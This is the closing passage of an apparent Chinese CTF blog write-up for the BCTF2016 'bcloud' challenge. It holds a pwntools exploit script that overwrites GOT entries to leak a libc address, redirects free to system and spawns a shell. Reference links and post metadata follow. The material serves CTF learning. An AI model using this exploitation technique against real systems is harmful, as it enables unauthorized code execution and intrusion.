edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
#修改free的got表为puts的plt表
edit(1,p32(puts_plt) + '\n')
#泄露puts的地址
delete(2)
sh.recv(1)
puts_addr = u32(sh.recv(4))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改free的got表为system地址
edit(1,p32(system_addr) + '\n')
#getshell
delete(3)

sh.interactive()

参考文章

https://snappyjack.github.io/articles/2019-12/BCTF2016_bcloud

https://blog.csdn.net/csdn546229768/article/details/122725993

Author

y1seco

Posted on

2022-02-18

Updated on

2022-03-15

Licensed under

Comments

:D 一言句子获取中...